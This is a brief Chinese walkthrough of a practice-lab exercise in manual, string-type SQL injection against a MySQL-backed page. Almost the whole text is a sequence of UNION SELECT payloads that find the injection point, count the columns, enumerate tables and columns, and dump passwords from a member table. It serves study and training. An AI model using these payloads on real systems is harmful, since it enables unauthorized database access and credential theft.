SQL手工注入漏洞测试(MySQL数据库-字符型)
启动靶场点击‘关于平台停机维护的通知’
在id后加’%23
判断是否存在注入点,加’ and 1=1%23,存在注入点。
’ order by 5%23
’ order by 4%23,有四个字段。
id=1’ and 1=2 union select 1,2,3,4%23
id=1’ and 1=2 union select 1,database(),version(),4%23
id=1’ and1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%23
id=1’ and1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘stormgroup_member’),3,4%23
id=1’ and 1=2 union select 1,(select group_concat(password) from stormgroup_member),3,4%23